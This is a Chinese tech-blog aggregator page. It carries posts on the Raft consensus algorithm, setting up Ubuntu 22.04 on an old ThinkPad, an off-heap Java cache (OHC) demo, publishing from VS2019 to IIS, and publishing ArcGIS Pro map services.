本文总结自:极客时间韩健老师的分布式协议与算法实战课程。 大家都知道,Raft算法属于Multi-Paxos算法,它是在Multi-Paxos思想的基础上,做了一些简化和限制。关于Paxos算法,博主在之前的文章有过总结,大家可以从这里跳转:分布式协议与算法-Paxos算法 关于Raft算法相关的开源社区有很多,如果你想深入理解RAFT算法,博主在这里推荐蚂蚁金服的SOFAJRaft,它是基于JAVA语言开发的一个生产级高性能共识算法实现。 博主总结过一些关于SOFAJRaft的源码,有兴趣的读者可以访问:SOFAJRaft源码阅读。 @Author:Akai-yuan @更新时间:2023/1/30 1.如何选举领导者 1.1成员身份 成员身份,又叫做服务器节点状态,Raft 算法支持领导者(Leader)、跟随者(Follower)和候选人(Candidate) 3 种状态。 跟随者:就相当于普通群众,默默地接收和处理来自领导者的消息,当等待领导者心跳信息超时的时候,就主动站出来,推荐自己当候选人。 候选人:候选人将向其他节点发送请求投票(RequestVote)RPC 消息,通知其他节点来投票,如果赢得了大多数选票,就晋升当领导者。 领导者:蛮不讲理的霸道总裁,一切以我为准,平常的主要工作内容就是 3 部分,处理写请求、管理日志复制和不断地发送心跳信息,通知其他节点“我是领导者,我还活着,你们现在不要发起新的选举,找个新领导者来替代我。” 1.2选举过程: 首先,在初始状态下,集群中所有的节点都是跟随者的状态。 Raft 算法实现了随机超时时间的特性。也就是说,每个节点等待领导者节点心跳信息的超时时间间隔是随机的。通过上面的图片你可以看到,集群中没有领导者,而节点 A 的等待超时时间最小(150ms),它会最先因为没有等到领导者的心跳信息,发生超时。这个时候,节点 A 就增加自己的任期编号,并推举自己为候选人,先给自己投上一张选票,然后向其他节点发送请求投票 RPC 消息,请它们选举自己为领导者。 如果其他节点接收到候选人 A 的请求投票 RPC 消息,在编号为 1 的这届任期内,也还没有进行过投票,那么它将把选票投给节点 A,并增加自己的任期编号。 如果候选人在选举超时时间内赢得了大多数的选票,那么它就会成为本届任期内新的领导者。 节点 A 当选领导者后,他将周期性地发送心跳消息,通知其他服务器我是领导者,阻止跟随者发起新的选举,篡权。 2.节点间如何通信 在 Raft 算法中,服务器节点间的沟通联络采用的是远程过程调用(RPC),在领导者选举 中,需要用到这样两类的 RPC: 请求投票(RequestVote)RPC,是由候选人在选举期间发起,通知各节点进行投票; 日志复制(AppendEntries)RPC,是由领导者发起,用来复制日志和提供心跳消息。日志复制 RPC 只能由领导者发起,这是实现强领导者模型的关键之一。 3.什么是任期 我们知道,议会选举中的领导者是有任期的,领导者任命到期后,要重新开会再次选举。Raft 算法中的领导者也是有任期的,每个任期由单调递增的数字(任期编号)标识,比如节点 A 的任期编号是 1。任期编号是随着选举的举行而变化的,这是在说下面几点。 跟随者在等待领导者心跳信息超时后,推举自己为候选人时,会增加自己的任期号。比如节点 A 的当前任期编号为 0,那么在推举自己为候选人时,会将自己的任期编号增加为 1。 如果一个服务器节点,发现自己的任期编号比其他节点小,那么它会更新自己的编号到较大的编号值。比如节点 B 的任期编号是 0,当收到来自节点 A 的请求投票 RPC 消息时,因为消息中包含了节点 A 的任期编号,且编号为 1,那么节点 B 将把自己的任期编号更新为 1。 但是,与现实议会选举中的领导者的任期不同,Raft 算法中的任期不只是时间段,而且任期编号的大小,会影响领导者选举和请求的处理。 在 Raft 算法中约定,如果一个候选人或者领导者,发现自己的任期编号比其他节点小,那么它会立即恢复成跟随者状态。比如分区错误恢复后,任期编号为 3 的领导者节点B,收到来自新领导者的,包含任期编号为 4 的心跳消息,那么节点 B 将立即恢复成跟随者状态。 还约定如果一个节点接收到一个包含较小的任期编号值的请求,那么它会直接拒绝这个请求。比如节点 C 的任期编号为 4,收到包含任期编号为 3 的请求投票 RPC 消息,那么它将拒绝这个消息。 在这里,你可以看到,Raft 算法中的任期比议会选举中的任期要复杂。同样,在 Raft 算法中,选举规则的内容也会比较多。 4.选举有哪些规则 领导者周期性地向所有跟随者发送心跳消息(即不包含日志项的日志复制 RPC 消息),通知大家我是领导者,阻止跟随者发起新的选举。 如果在指定时间内,跟随者没有接收到来自领导者的消息,那么它就认为当前没有领导者,推举自己为候选人,发起领导者选举。 在一次选举中,赢得大多数选票的候选人,将晋升为领导者。 在一个任期内,领导者一直都会是领导者,直到它自身出现问题(比如宕机),或者因为网络延迟,其他节点发起一轮新的选举。 在一次选举中,每一个服务器节点最多会对一个任期编号投出一张选票,并且按照“先来先服务”的原则进行投票。比如节点 C 的任期编号为 3,先收到了 1 个包含任期编号为 4 的投票请求(来自节点 A),然后又收到了 1 个包含任期编号为 4 的投票请求(来自节点 B)。那么节点 C 将会把唯一一张选票投给节点 A,当再收到节点 B 的投票请求RPC 消息时,对于编号为 4 的任期,已没有选票可投了。 当任期编号相同时,日志完整性高的跟随者(也就是最后一条日志项对应的任期编号值更大,索引号更大),拒绝投票给日志完整性低的候选人。比如节点 B、C 的任期编号都是 3,节点 B 的最后一条日志项对应的任期编号为 3,而节点 C 为 2,那么当节点 C请求节点 B 投票给自己时,节点 B 将拒绝投票。 5.如何理解随机超时时间 在议会选举中,常出现未达到指定票数,选举无效,需要重新选举的情况。在 Raft 算法的选举中,也存在类似的问题,那它是如何处理选举无效的问题呢? 其实,Raft 算法巧妙地使用随机选举超时时间的方法,把超时时间都分散开来,在大多数情况下只有一个服务器节点先发起选举,而不是同时发起选举,这样就能减少因选票瓜分导致选举失败的情况。 我想强调的是,在 Raft 算法中,随机超时时间是有 2 种含义的,这里是很多同学容易理解出错的地方,需要你注意一下: 跟随者等待领导者心跳信息超时的时间间隔,是随机的; 当没有候选人赢得过半票数,选举无效了,这时需要等待一个随机时间间隔,也就是说,等待选举超时的时间间隔,是随机的。 6.如何复制日志 6.1如何理解日志 副本数据是以日志的形式存在的,日志是由日志项组成。日志项是一种数据格式,它主要包含用户指定的数据,也就是指令(Command),还包含一些附加信息,比如索引值(Log index)、任期编号(Term)。 6.2日志复制过程 你可以把 Raft 的日志复制理解成一个优化后的二阶段提交(将二阶段优化成了一阶段),减少了一半的往返消息,也就是降低了一半的消息延迟。那日志复制的具体过程是什么呢? 首先,领导者进入第一阶段,通过日志复制(AppendEntries)RPC 消息,将日志项复制到集群其他节点上。 接着,如果领导者接收到大多数的“复制成功”响应后,它将日志项提交到它的状态机,并返回成功给客户端。如果领导者没有接收到大多数的“复制成功”响应,那么就返回错误给客户端。 学到这里,有同学可能有这样的疑问了,领导者将日志项提交到它的状态机,怎么没通知跟随者提交日志项呢? 这是 Raft 中的一个优化,领导者不直接发送消息通知其他节点提交指定日志项。因为领导者的日志复制 RPC 消息或心跳消息,包含了当前最大的,将会被提交的日志项索引值。所以通过日志复制 RPC 消息或心跳消息,跟随者就可以知道领导者的日志提交位置信息。 因此,当其他节点接受领导者的心跳消息,或者新的日志复制 RPC 消息后,就会将这条日志项提交到它的状态机。而这个优化,降低了处理客户端请求的延迟,将二阶段提交优化为了一段提交,降低了一半的消息延迟。 6.3日志一致的实现 在 Raft 算法中,领导者通过强制跟随者直接复制自己的日志项,处理不一致日志。也就是说,Raft 是通过以领导者的日志为准,来实现各节点日志的一致的。具体有 2 个步骤。 首先,领导者通过日志复制 RPC 的一致性检查,找到跟随者节点上,与自己相同日志项的最大索引值。也就是说,这个索引值之前的日志,领导者和跟随者是一致的,之后的日志是不一致的了。 然后,领导者强制跟随者更新覆盖的不一致日志项,实现日志的一致。 为了方便演示,我们引入 2 个新变量: PrevLogEntry:表示当前要复制的日志项,前面一条日志项的索引值。比如在图中,如果领导者将索引值为 8 的日志项发送给跟随者,那么此时 PrevLogEntry 值为 7。 PrevLogTerm:表示当前要复制的日志项,前面一条日志项的任期编号,比如在图中,如果领导者将索引值为 8 的日志项发送给跟随者,那么此时 PrevLogTerm 值为 4。 领导者通过日志复制 RPC 消息,发送当前最新日志项到跟随者(为了演示方便,假设当前需要复制的日志项是最新的),这个消息的 PrevLogEntry 值为 7,PrevLogTerm 值为 4。 如果跟随者在它的日志中,找不到与 PrevLogEntry 值为 7、PrevLogTerm 值为 4 的日志项,也就是说它的日志和领导者的不一致了,那么跟随者就会拒绝接收新的日志项,并返回失败信息给领导者。 这时,领导者会递减要复制的日志项的索引值,并发送新的日志项到跟随者,这个消息的 PrevLogEntry 值为 6,PrevLogTerm 值为 3。 如果跟随者在它的日志中,找到了 PrevLogEntry 值为 6、PrevLogTerm 值为 3 的日志项,那么日志复制 RPC 返回成功,这样一来,领导者就知道在 PrevLogEntry 值为 6、PrevLogTerm 值为 3 的位置,跟随者的日志项与自己相同。 领导者通过日志复制 RPC,复制并更新覆盖该索引值之后的日志项(也就是不一致的日志项),最终实现了集群各节点日志的一致。 7.成员变更 单节点变更,就是通过一次变更一个节点实现成员变更。如果需要变更多个节点,那你需要执行多次单节点变更。比如将 3 节点集群扩容为 5 节点集群,这时你需要执行 2 次单节点变更,先将 3 节点集群变更为 4 节点集群,然后再将 4 节点集群变更为 5 节点集群,就像下图的样子。 现在,让我们回到开篇的思考题,看看如何用单节点变更的方法,解决这个问题。为了演示 方便,我们假设节点 A 是领导者: 目前的集群配置为[A, B, C],我们先向集群中加入节点 D,这意味着新配置为[A, B, C, D]。 成员变更,是通过这么两步实现的: 第一步,领导者(节点 A)向新节点(节点 D)同步数据; 第二步,领导者(节点 A)将新配置[A, B, C, D]作为一个日志项,复制到新配置中所有节点(节点 A、B、C、D)上,然后将新配置的日志项提交到本地状态机,完成单节点变更。 在变更完成后,现在的集群配置就是[A, B, C, D],我们再向集群中加入节点 E,也就是说, 新配置为[A, B, C, D, E]。成员变更的步骤和上面类似: 第一步,领导者(节点 A)向新节点(节点 E)同步数据; 第二步,领导者(节点 A)将新配置[A, B, C, D, E]作为一个日志项,复制到新配置中的所有节点(A、B、C、D、E)上,然后再将新配置的日志项提交到本地状态机,完成单节点变更。 这样一来,我们就通过一次变更一个节点的方式,完成了成员变更,保证了集群中始终只有一个领导者,而且集群也在稳定运行,持续提供服务。 在正常情况下,不管旧的集群配置是怎么组成的,旧配置的“大多数”和新配置的“大多数”都会有一个节点是重叠的。 也就是说,不会同时存在旧配置和新配置 2个“大多数”。 从上图中你可以看到,不管集群是偶数节点,还是奇数节点,不管是增加节点,还是移除节点,新旧配置的“大多数”都会存在重叠(图中的橙色节点)。 需要你注意的是,在分区错误、节点故障等情况下,如果我们并发执行单节点变更,那么就可能出现一次单节点变更尚未完成,新的单节点变更又在执行,导致集群出现 2 个领导者的情况。 如果你遇到这种情况,可以在领导者启动时,创建一个 NO_OP 日志项(也就是空日志项),只有当领导者将 NO_OP 日志项提交后,再执行成员变更请求。这个解决办法,你记住就可以了,可以自己在课后试着研究下。具体的实现,可参考 **Hashicorp Raft **的源码,也就是 runLeader() 函数中: noop := &logFuture{ log: Log{ Type: LogNoop, }, } r.dispatchLogs([]*logFuture{noop})
2024-01-19
222
0
0
网络聚合
2024-01-19
Ubuntu玩机记录,让我破电脑又飞起来了
写在前面 很早之前的电脑ThinkPad E440,一直没怎么用。最近整理了一下电脑的资料,全部备份到云盘。整理的过程感觉电脑很慢很慢,难受极了。整理完后,终于我要对它下手了! 我制作了启动U盘,把Ubuntu 22.04的镜像烧录进去,通过U盘启动,把系统装在ThinkPad上。居然电脑出奇的好用,根本不卡。那就记录一下吧。 安装Ubuntu系统 先从官网下载镜像,然后通过BalenaEtcher来把系统镜像放在U盘上。接着就是启动与安装了,没什么特别的,只要改一下BIOS的启动顺序即可。 参考: https://ubuntu.com/tutorials/install-ubuntu-desktop#2-download-an-ubuntu-image 截图 可以用系统自带的,但我使用的是Shutter,直接在Ubuntu Software搜索安装即可。但安装完不能使用自选区域截图,会提示: cannot work without X11 server 解决方案: 找到/etc/gdm3/custom.conf文件,去掉注释:WaylandEnable=false 重启一下:sudo systemctl restart gdm3即可。 设置快捷键: Settings -> Keyboard -> Keyboard Shortcuts -> View and Customize Shortcuts 接着拉到最后的Custom Shortcuts。添加如下: 参考: https://askubuntu.com/questions/1353360/ubuntu-21-04-shutter-did-not-work-without-x11-server https://hakanu.net/linux/2021/04/25/keyboard-shortcuts-for-shutter-in-ubuntu-for-easy-screenshots/ 安装Typora 新版本的Typora收费了,并且官网也下载不了原有的免费版本,可以在这个链接下载: 下载地址:https://github.com/iuxt/src/releases/download/2.0/Typora_Linux_0.11.18_amd64.deb 然后使用apt安装即可: sudo apt install ./Typora_Linux_0.11.18_amd64.deb 参考:https://zahui.fan/posts/64b52e0d/ 显示电池百分比 Settings -> Power -> Show Battery Percentage 中文输入法 设置里找到Regin & Language,Manage installed Languages,安装中文。输入法系统选iBus即可。接着在Keyboard那添加中文输入法,有拼音和五笔,如果操作不了,可能需要先重启: 可以通过Win + 空格来切换。中英文通过Shift。 git安装 大致如下: sudo apt install git git config --global user.name "LarryDpk" git config --global user.email "
[email protected]
" 生成ssh key,把pub key放GitHub上 ssh-keygen -t rsa -b 4096 -C "
[email protected]
" Git拉取代码报错: $ git pull ssh: connect to host github.com port 22: Connection timed out fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 换成另一个域名:ssh.github.com: 参考: https://docs.github.com/en/authentication/troubleshooting-ssh/using-ssh-over-the-https-port git status显示数字,不显示中文: git config --global core.quotepath false Chrome 因为Chrome在Ubuntu不在Software Center,所以要通过先下载安装包的方式来下载: wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb sudo dpkg -i google-chrome-stable_current_amd64.deb python相关 系统已经自带了Python3,版本也比较高,也没办法再安装了。但要安装pip3: $ python3 --version Python 3.10.6 sudo apt install python3-pip 挂载硬盘 我的电脑是一个SSD盘,一个普通硬盘,系统装在SSD上,所以需要把硬盘挂载一下: sudo mount /dev/sda3 /home/larry/data 但每次都这样手动mount很麻烦,又要输入密码,所以我们让系统在启动的时候就mount,在/etc/fstab文件中添加一行: # disk UUID=277de78c-6639-4373-a5cd-38feff129de7 /home/larry/data ext4 defaults 0 0 重启即可。 参考: https://developerinsider.co/auto-mount-drive-in-ubuntu-server-22-04-at-startup/ OSS阿里云 下载Linux 64位版本:https://github.com/aliyun/oss-browser 直接打开会报错,少了libgconfi-2-4,安装后打开即可: $ ./oss-browser ./oss-browser: error while loading shared libraries: libgconf-2.so.4: cannot open shared object file: No such file or directory $ sudo apt install libgconf-2-4 参考:https://stackoverflow.com/questions/37624225/shared-libraries-libgconf-2-so-4-is-missing JDK 下载JDK: https://github.com/graalvm/graalvm-ce-builds/releases 我下载的版本是:graalvm-ce-java11-linux-amd64-22.3.0.tar.gz 解压后指定JAVA_HOME即可。 JAVA_HOME=/home/larry/software/graalvm-ce-java11-22.3.0 export PATH=$JAVA_HOME/bin:$PATH Maven 直接下载后解压即可:https://maven.apache.org/download.cgi export M2_HOME=/home/larry/software/apache-maven-3.8.6 export PATH=$M2_HOME/bin:$PATH bash_profile设置 在.bashrc添加: if [ -f ~/bash_profile.sh ]; then . ~/bash_profile.sh fi 然后便可在bash_profile.sh文件中添加自己的配置了: export JAVA_HOME=/home/larry/software/graalvm-ce-java11-22.3.0 export PATH=$JAVA_HOME/bin:$PATH export M2_HOME=/home/larry/software/apache-maven-3.8.6 export PATH=$M2_HOME/bin:$PATH alias l='ls -al' SSH SFTP客户端WindTerm 下载软件: https://github.com/kingToolbox/WindTerm/releases/tag/2.5.0 选择自动复制已经支持了。 右键直接粘贴: 参考: https://github.com/kingToolbox/WindTerm/issues/19#issuecomment-719334753 修改锁屏密码: 点击一下右下角的Lock Screen即可修改。 添加程序到Farorites Bar 以IDEA为例,直接通过IDEA自己提供的工具,如下图所示: 或者自己创建对应的Entry,放在特定的位置: $ cat /usr/share/applications/jetbrains-idea.desktop [Desktop Entry] Version=1.0 Type=Application Name=IntelliJ IDEA Ultimate Edition Icon=/home/larry/software/ideaIU-2022.3/bin/idea.svg Exec="/home/larry/software/ideaIU-2022.3/bin/idea.sh" %f Comment=Capable and Ergonomic IDE for JVM Categories=Development;IDE; Terminal=false StartupWMClass=jetbrains-idea StartupNotify=true 如果只是自己生效则放在~/.local/share/applications。 其它例子: [Desktop Entry] Version=1.0 Type=Application Name=WindTerm Icon=/home/larry/software/WindTerm_2.5.0/windterm.png Exec="/home/larry/software/WindTerm_2.5.0/WindTerm" %f Comment=WindTerm Categories=Development;SSH; Terminal=false StartupNotify=true VSCode IDEA占用的内存还是太多了,还是使用VSCode吧,直接Ubuntu Software搜索安装即可。 安装Anaconda 到官网下载: https://repo.anaconda.com/archive/Anaconda3-2022.10-Linux-x86_64.sh 然后执行命令安装: $ bash ./Anaconda3-2022.10-Linux-x86_64.sh 会有一些提示,要输入yes等。最后init,执行命令: $ source ~/.bashrc 其它就是帮我们加了这段内容到.bashrc文件中: # >>> conda initialize >>> # !! Contents within this block are managed by 'conda init' !! __conda_setup="$('/home/larry/anaconda3/bin/conda' 'shell.bash' 'hook' 2> /dev/null)" if [ $? -eq 0 ]; then eval "$__conda_setup" else if [ -f "/home/larry/anaconda3/etc/profile.d/conda.sh" ]; then . "/home/larry/anaconda3/etc/profile.d/conda.sh" else export PATH="/home/larry/anaconda3/bin:$PATH" fi fi unset __conda_setup # <<< conda initialize <<< 同时,它直接把系统的python也切换了: $ which python /home/larry/anaconda3/bin/python $ which python3 /home/larry/anaconda3/bin/python3 $ which pip /home/larry/anaconda3/bin/pip $ which pip3 /home/larry/anaconda3/bin/pip3 $ python --version Python 3.9.13 $ python3 --version Python 3.9.13 $ pip --version pip 22.2.2 from /home/larry/anaconda3/lib/python3.9/site-packages/pip (python 3.9) 百度网盘 直接在官网下载Linux deb版本: https://pan.baidu.com/download#pan 然后用下面命令安装即可: $ sudo apt install ./baidunetdisk_4.15.6_amd64.deb 视频播放器VLC 可以直接在Software Center安装,也可以到官网下载安装:https://www.videolan.org/
2024-01-19
254
0
0
网络聚合
2024-01-19
Java堆外缓存(一个很有意思的应用)
我们在开发过程中会遇到这样的场景:就是一个服务的各项 JVM 的配置都比较合理的情况下,它的 GC 情况还是不容乐观。分析之后发现有 2 个对象特别巨大,占了总存活堆内存的 90%以上。其中第 1 大对象是本地缓存, GC 之后对象一直存活。然后不久应用就会抛出OutOfMemoryError,那怎样避免这种情况呢? 这次给大家推荐一个比较好用的技术:堆外缓存。哈哈哈,顾名思义就是在Java堆之外的缓存,也就是把一些大的难以被GC回收的对象放到堆之外。PS堆外内存不受,堆内内存大小的限制,只受服务器物理内存的大小限制。这三者之间的关系是这样的:物理内存=堆外内存+堆内内存。 技术大佬的GITHUB地址:https://github.com/snazy/ohc 。 要使用他的技术就先要引用对应的jar包,Maven坐标如下: <dependency> <groupId>org.caffinitas.ohc</groupId> <artifactId>ohc-core</artifactId> <version>0.7.4</version> </dependency> //大神给的使用方式如下: //Quickstart: OHCache ohCache = OHCacheBuilder.newBuilder() .keySerializer(yourKeySerializer) .valueSerializer(yourValueSerializer) .build(); 上面是Quickstart 看起来使用如此的丝滑(简单),但是上面的代码是填空题,我们看到复制粘贴后代码不能使用后开始。。。。。。此处省略一万字。其实大神写的代码怎么不能用的呢,不要怀疑大神一定是自己的方法不对,我们的口号是? 如果提供的代码复制粘贴不能直接用的工程师不能称之为大神工程师。 但是github上的大神写的东西怎么不能直接用呢?一定是你的思路不对,老司机都知道,大神写代码一定有写单元测试的,要不然不会有那么多人用的(所以要想成为大神单元测试一定要写好),所以把代码拉下来,复制单元测试的东西应该能直接使用 。下面是CTRL+C来的代码。 public static void main(String[] args) { OHCache ohCache = OHCacheBuilder.<String, String>newBuilder() .keySerializer(new StringSerializer()) .valueSerializer(new StringSerializer()) .build(); ohCache.put("name","xiaozhang"); System.out.println(ohCache.get("name")); // 结果 xiaozhang } static class StringSerializer implements CacheSerializer<String>{ @Override public void serialize(String value, ByteBuffer buf) { // 得到字符串对象UTF-8编码的字节数组 byte[] bytes = value.getBytes(Charsets.UTF_8); // 用前16位记录数组长度 buf.put((byte) ((bytes.length >>> 8) & 0xFF)); buf.put((byte) ((bytes.length) & 0xFF)); buf.put(bytes); } @Override public String deserialize(ByteBuffer buf) { // 判断字节数组的长度 int length = (((buf.get() & 0xff) << 8) + ((buf.get() & 0xff))); byte[] bytes = new byte[length]; // 读取字节数组 buf.get(bytes); // 返回字符串对象 return new String(bytes, Charsets.UTF_8); } @Override public int serializedSize(String value) { byte[] bytes = value.getBytes(Charsets.UTF_8); // 设置字符串长度限制,2^16 = 65536 if (bytes.length > 65536) throw new RuntimeException("encoded string too long: " + bytes.length + " bytes"); // 设置字符串长度限制,2^16 = 65536 return bytes.length + 2; } } 上面的代码我们看到这家伙类似Java中的Map 。也就是一个key和value 结构的对象。感觉So easy ,没什么大的用途。简单?那是你想简单了,后面大招来了。 很简单的代码演示如下: public class MapCasheTest { static HashMap<String,String> map = new HashMap<>(); public static void main(String[] args) throws Exception { oomTest(); } private static void oomTest() throws Exception{ // 休眠几秒,便于观察堆内存使用情况 TimeUnit.SECONDS.sleep(30); int result = 0 ; while (true){ String string = new String(new byte[1024*1024]) ; map.put(result+"",string) ; result++; } } } 运行一小会就报这个错了,也是文章中刚开始说的那个错误。 然后我们去监控系统的堆栈使用情况如下图(只用一小会就把堆内存快用满了,然后自然系统就报错了) 下面我们使用同样的逻辑写如下代码,很神奇的事情出现了,大跌眼镜的事情出现了,先亮出代码如下: public static void main(String[] args) throws Exception{ TimeUnit.SECONDS.sleep(30); OHCache ohCache = OHCacheBuilder.<String, String>newBuilder() .keySerializer(new Test.StringSerializer()) .valueSerializer(new Test.StringSerializer()) .build(); int result = 0 ; while (true){ String string = new String(new byte[2048*2048]) ; ohCache.put(result+"",string) ; result++; } } 程序一直很稳定的运行,没有报错,堆栈运行一上一下,至少程序没报错: 为什么会出现这种情况呢?因为文章开始就讲了这个用的是堆外内存,也就是用的自己电脑的内存,自己电脑的内存目前普通的电脑也有2个G那么大,所以程序一直运行稳定。下面看看我们CPU运行的情况,刚开始有点高,当我把程序关闭CPU使用立马下来了。 哈哈哈,如果是自己测试的时候记得要把自己的工作相关的东西都先保存了,免得你的电脑内存太小,有可能会造成电脑关机。 那么我们在什么情况会使用这个大神的工具呢?就是自己程序有大的对象,并且GC一直无法把这个大对象回收,就可以使用上面的方法,能保证程序稳定运行。具体OH大神是怎么实现这种方式的呢?本文不做研究,他用的技术太深了。 最近ChatGPT比较火,我也问了些问题,回得很好,给个赞。你如果有啥想问的我也可以帮你问问它。 欢迎关注微信公众号:程序员xiaozhang 。会更新更多精彩内容。
2024-01-19
226
0
0
网络聚合
2024-01-19
VS2019发布至远程IIS部署流程
服务器部署 传统的开发将项目发布至本地桌面之后,复制至站点目录或通过FTP上传站点目录,有点小麻烦,通过开发工具VS2019本身集成的功能,可以一步到发布到远程IIS站点。 条件: VS系列发工具,例如VS2019,VS2022 Windows Server 操作系统 在目标服务器上面安装IIS,要注意默认安装IIS没有勾上“管理服务”,需要手动勾上。 安装Web Deploy v3.6,官网地址:Download Web Deploy v3.6 from Official Microsoft Download Center,安装成功之后可以在“服务”中找到相关服务。 IIS开启远程访问,默认是8172端口,需要关闭防火墙或打开“8172”端口。 配置站点“IIS管理器权限”,添加远程访问的账号。 基本服务器端部署就完成了。 客户端发布 默认情况下需要SSL支持,如果没有证书,可以在配置文件取消限制。 重新配置VS2019发布文件,取消限制,在<PropertyGroup>节点内加入如下代码: <AllowUntrustedCertificate>True</AllowUntrustedCertificate> 再次发布,站点己成功更新到服务器。 注意事项 appsettings.json配置在本地测试和服务器端并不完全一致,默认情况下每次都会将本地配置文件同步更新至服务器,可以通过配置pubxml文件发布时不同步更新文件。在<Project>节点中加入代码: <ItemGroup> <Content Remove="appsettings.Development.json" /> <Content Remove="appsettings.json" /> </ItemGroup> 整体部署流程基本结束,喜欢的朋友关注一下~
2024-01-19
221
0
0
网络聚合
2024-01-19
ArcGIS Pro发布地图服务(影像、矢量)
做GIS一般都是用ArcMap发布影像或者矢量服务,由于ArcGIS后续不在更新ArcMap,改用ArcGIS Pro,本文对ArcGIS Pro发布服务进行说明。 本文示例使用(因为portal的授权的版本只有10.5的,故使用10.5进行示例): 软件:ArcGIS Pro3.0.1(破解版), ArcGIS Portal10.5 当ArcGIS Pro和Portal不在一个机器或者版本不一样的时候,是可以连接使用的,需要在Portals配置好需要连接的Portal地址,并进行登录。 然后在发布服务前,先切换到已经登录好的Portal。 在使用ArcGIS Pro发布矢量、影像、地形等服务时,首先需要打开ArcGIS Pro,选择地图工程模板来进行发布。 注意:不能选择全局场景或局部场景,这两个场景下在相应菜单并没有发布地图选项!!! 1、发布影像切片服务 (1)选择需要切片的影像,拖动或者添加到地图中 (2)找到Share(共享)->Web Layer(Web图层)->Publish Web Layer(发布Web图层),打开Share As Web Layer(共享为Web图层)工具进行发布: 类型选择切片,并勾选共享对象,然后打开配置页,根据实际情况配置切片属性: 配置好切片属性,点击分析,没问题就可以点击发布了,发布好打开portal,在我的内容里就可以看到刚刚发布的服务了。 使用ArcGIS Pro发布的地图服务默认在Hosted目录下,建议在发布的时候自己创建一个新的目录或者选一个已存在的目录: 然后使用ArcGIS JS API就可以在Web上把影像加载上了(切的是一个全球影像): 2、发布矢量服务 (1)和影像数据的发布方式一样,先加载数据,然后选择发布web图层工具: 填好信息,分析后即可发布服务,发布好的服务如下所示:
2024-01-19
473
0
0
网络聚合
68
69
70
71
72